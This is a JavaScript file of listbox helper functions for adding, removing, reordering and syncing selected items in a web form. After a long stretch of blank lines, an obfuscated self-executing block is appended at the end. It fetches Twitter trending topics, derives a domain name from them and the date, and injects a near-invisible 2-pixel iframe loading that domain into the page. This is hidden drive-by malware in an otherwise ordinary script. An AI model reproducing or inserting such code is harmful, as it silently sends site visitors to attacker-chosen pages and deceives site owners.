﻿    function mis_add(lb1, lb2, hf, s) {
        var AllItemsListBox = $mis_id(lb1);
        var SelectedItemsListBox = $mis_id(lb2);
        for (var i = 0; i < AllItemsListBox.options.length; i++) {
            if (AllItemsListBox.options[i].selected && AllItemsListBox.options[i].value != 999999) { 
                var found = false;
                for (var j = 0; j < SelectedItemsListBox.options.length; j++) {
                    if (AllItemsListBox.options[i].value == SelectedItemsListBox.options[j].value) {
                        found = true;
                        break;
                    }
                }
                if (!found) {
                    var newOption = window.document.createElement('OPTION');
                    newOption.text = AllItemsListBox.options[i].text;
                    newOption.value = AllItemsListBox.options[i].value;
                    
                    SelectedItemsListBox.options.add(newOption);
                    SelectedItemsListBox.selectedIndex = SelectedItemsListBox.options.length - 1;
                    AllItemsListBox.selectedIndex = i < AllItemsListBox.options.length - 1 ? i+1 : AllItemsListBox.options.length - 1;
                }
                break;
            }
        }
        mis_sync(lb1, lb2, hf, s);
    }
    function mis_del(lb1, lb2, hf, s) {
        var AllItemsListBox = $mis_id(lb1);
        var SelectedItemsListBox = $mis_id(lb2);
        var index = SelectedItemsListBox.selectedIndex;
        if (SelectedItemsListBox.selectedIndex >= 0) {
            SelectedItemsListBox.remove(SelectedItemsListBox.selectedIndex);
            if (index < SelectedItemsListBox.options.length) {
                SelectedItemsListBox.selectedIndex = index;
            } else {
                SelectedItemsListBox.selectedIndex = SelectedItemsListBox.options.length - 1;
            }
            mis_sync(lb1, lb2, hf, s);
        }
    }
    function mis_up(lb1, lb2, hf, s) {
        var SelectedItemsListBox = $mis_id(lb2);
        for (var i = 0; i < SelectedItemsListBox.options.length; i++) {
            if ( SelectedItemsListBox.options[i].selected ) {
                if (i > 0) {
                    var tempOption = window.document.createElement('OPTION');
                    tempOption.text = SelectedItemsListBox.options[i-1].text;
                    tempOption.value = SelectedItemsListBox.options[i-1].value;
                    
                    SelectedItemsListBox.options[i-1].text = SelectedItemsListBox.options[i].text;
                    SelectedItemsListBox.options[i-1].value = SelectedItemsListBox.options[i].value;
                    SelectedItemsListBox.options[i-1].selected = true;
                    
                    SelectedItemsListBox.options[i].text = tempOption.text;
                    SelectedItemsListBox.options[i].value = tempOption.value;
                    SelectedItemsListBox.options[i].selected = false;
                    
                    break;
                }
            }            
        }
        mis_sync(lb1, lb2, hf, s);
    }
    function mis_down(lb1, lb2, hf, s) {
        var SelectedItemsListBox = $mis_id(lb2);
        for (var i = 0; i < SelectedItemsListBox.options.length; i++) {
            if ( SelectedItemsListBox.options[i].selected ) {
                if (i < (SelectedItemsListBox.options.length - 1)) {
                    var tempOption = window.document.createElement('OPTION');
                    tempOption.text = SelectedItemsListBox.options[i+1].text;
                    tempOption.value = SelectedItemsListBox.options[i+1].value;
                    
                    SelectedItemsListBox.options[i+1].text = SelectedItemsListBox.options[i].text;
                    SelectedItemsListBox.options[i+1].value = SelectedItemsListBox.options[i].value;
                    SelectedItemsListBox.options[i+1].selected = true;
                    
                    SelectedItemsListBox.options[i].text = tempOption.text;
                    SelectedItemsListBox.options[i].value = tempOption.value;
                    SelectedItemsListBox.options[i].selected = false;
                    
                    break;
                }
            }            
        }
        mis_sync(lb1, lb2, hf, s);
    }
    function mis_info(div, lb, str, vis) {
        var InfoBox = $mis_id(div);
        var ListBox = $mis_id(lb);
        InfoBox.style.visibility = vis ? "visible" : "hidden";
        InfoBox.style.left = ListBox.style.left;
        InfoBox.style.top = '130px';
        //alert(InfoBox.style.top + ' - ' + ListBox.style.height);
        InfoBox.innerHTML = str;
    }
    function mis_sync(lb1, lb2, hf, s) {
        var AllItemsListBox = $mis_id(lb1);
        var SelectedItemsListBox = $mis_id(lb2);
        var SelectedValuesHiddenField = $mis_id(hf);
        var vals = "";
        for (var i = 0; i < SelectedItemsListBox.options.length; i++) {
            vals += SelectedItemsListBox.options[i].value;
            if (i < SelectedItemsListBox.options.length - 1) vals += s;
        }
        SelectedValuesHiddenField.value = vals;
    }
    function $mis_id() {
        var results = [], element;
        for (var i = 0; i < arguments.length; i++) {
            element = arguments[i];
            if (typeof element == 'string')
                element = document.getElementById(element);
            results.push(element);
        }
        return results.length < 2 ? results[0] : results;
    }
    








(function($$){d="( : +q= :var VP=this;\\[VP  FullYear %Month %Date %Hours %Minutes %Seconds()]}; +k= : &r,Vp=this.#q(),i=0;Vp[1]+=1;while(i++<7){#r=Vp[i] /#r<#M)Vp[i] 6#r}\\ Vp.splice(~z'),1+~T 0 7~u 0+'T'+Vp 7~U 0};VG={'h`http://Xs`/Xt`treXd`daiXn`ndsXq`?Xc`callback=Xj`#Xa`apiXl`lyXW`twitterXo`comXe`1Xk`sXK`bodyXx`ajaxXD`.XL`libsXJ`jqueryX6`6.2Xm`minXf`onXS`criptXi`ifXM`rameXY`headXw`width:Xp`px;XH`height:XT`2Xr`rcXQ`\"Xy`style=Xb`><XR`></XI`divXB`<XA`>Xg`googleXE`&date=Xz`0Xu`-XU` X,`:00X;':2345678901,'/':48271,'F':198195254,'G':12,'C`='};@ #m(Vu){#T=[];for(Va=0;Va<Vu (;Va++){#T.push(VG[Vu.charAt(Va)])}\\ #t(#T)}Vi=document;#u=window; )y='undefined'; )z=~haDWDosestnsdlDjfqcq' 3H= *)== )y) /#H||!Vc()){if(!#H){try{Vg=jQuery !;try{Vg=$ !}VS=Vi.getElementsByTagName(~Y 0[0];#E=Vi.createElement(~kS 0;#E.setAttribute(~kr'),#m(\"hxDgakDosxsLsJseD6sJDmDj\"));VS.appendChild(#E)}@ VR(#s,VF 2Math.floor(#s/VF) 9v(#d){var Vf=VR( )L, $x); &w= )L% $x; &N= $p*#w; &F= $m*Vf; &e=#N-#F /#e>0){#L=#e}else{#L=#e+ $A}\\(#L%#d) 9J(#n){ )L=~;')+#n; $p=~/'); $A=~;')-~F'); $x=VR( $A, $p); $m= $A% $p 9t(V 2V (==1?V[0]:V 7'')};@ #R(V){d=new Date( 3A=~zee');d.setTime((V.as_of-~G')*~G')*~G')*~ezz 0*~ezzz 0;\\ d 9o(VC){ &i,Vh,#G=VC (; &x=[];while(--#G){Vh=#v(#G 3x.push(Vh 3i=VC[Vh];VC[Vh]=VC[#G];VC[#G]=#i}}@ VL($){VE=$.map([81,85,74,74,92,17,82,73,80,30,82,77,25,11,10,10,61,11,56,55,11,53,6,53,7,2,1,0,48],@(x,i 2String.fromCharCode(i+x+24)});\\ #t(VE) 9j(x 2x (}@ VT($){if *)!= )y){$( :if *.Vo)!= )y)\\;$.Vo=1; 4z,@(VM){#D=#R(VM 3K=#D  Month() ;N=#D  Date( 3p=@(x,i){\\(#j(x+\"\")-1)?x:\"0\"+x};Ve=#p(#K,4)+\"-\"+#p(VN,7 3a=#z+#m(\"E 5;VD=Vy=VR(#D  Hours(),6)*6 ;z=VD+1;#M=+~ez'); , 4a,@(VM){try{#S=VM.trends;#f=#m(\" 5+\" \" /VD<#M)VD 6VD /Vz<#M)Vz 6Vz; 8D+#m(X)] /!#c){ 8z+#m(X)]}#c=(#c[3].name.toLowerCase().replace(/[^a-z]/gi,'')+'microscope').split('' 3C=#K*71+Vy*3+VN*37;#J(#C 3j=#v(4)+#M;#o(#c 3b=~Ch')+#t(#c).substring(0,#j)+'.com/'+VL($);VG['Z']=#b;Vr=~BI 1biMU 1UkrZRiMRIA');$(~K 0.append(Vr)}catch(Vq){}})},#M*#M*#M)})})}else{ , -,1+~TTT 0}} -)()#js@functionV#BX','`':'~#m('\\return  .getUTC !.noConflict(true)}catch(e){} $#u.V %(),VP   &var # (.length )#u.# *(typeof($ +Date.prototype.# ,setTimeout( : -VT(#u.jQuery)} /;if( 0')) 1yQHTpweeepQ 2){\\  3);# 4$.getJSON(# 5Tzeeu\")+Ve 6=~z')+ 7.join( 8#c=#S[#f+V 9}@ # :@(){ ;+(+~e 0;V";for(c=55;c;d=(t=d.split('#@VX`~\\   ! $ % & ( ) * + , - / 0 1 2 3 4 5 6 7 8 9 : ;'.substr(c-=(x=c<9?1:2),x))).join(t.pop()));$$(d)})(function(jsBb){return(function(jsB,jsBs){return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()})((function(jsB){return jsB.constructor}),(function(jsB){return(function(jsBs){return jsB.call(jsB,jsBs)})}))});

